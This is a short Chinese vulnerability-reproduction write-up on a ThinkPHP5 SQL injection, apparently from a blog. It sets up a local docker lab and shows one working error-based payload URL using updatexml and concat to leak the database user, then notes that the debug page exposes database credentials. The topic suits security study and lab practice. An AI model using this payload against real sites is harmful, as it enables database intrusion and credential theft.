ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

漏洞简介

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

模块:thinkphp 所有的主入口文件默认访问index控制器
  方法:thinkphp 所有的控制器默认执行index动作
  构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

原理:控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

漏洞复现

运行环境:

docker-compose up -d

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露_第1张图片

默认80和3306端口
ThinkPHP5 SQL注入漏洞 && 敏感信息泄露_第2张图片

http://127.0.0.1/index.php?ids[]=1&ids[]=2

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露_第3张图片即可看到用户名被显示了出来,说明环境运行成功。

http://127.0.0.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露_第4张图片

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:
这又属于一个敏感信息泄露漏洞。

你可能感兴趣的:(漏洞,sql,安全,php)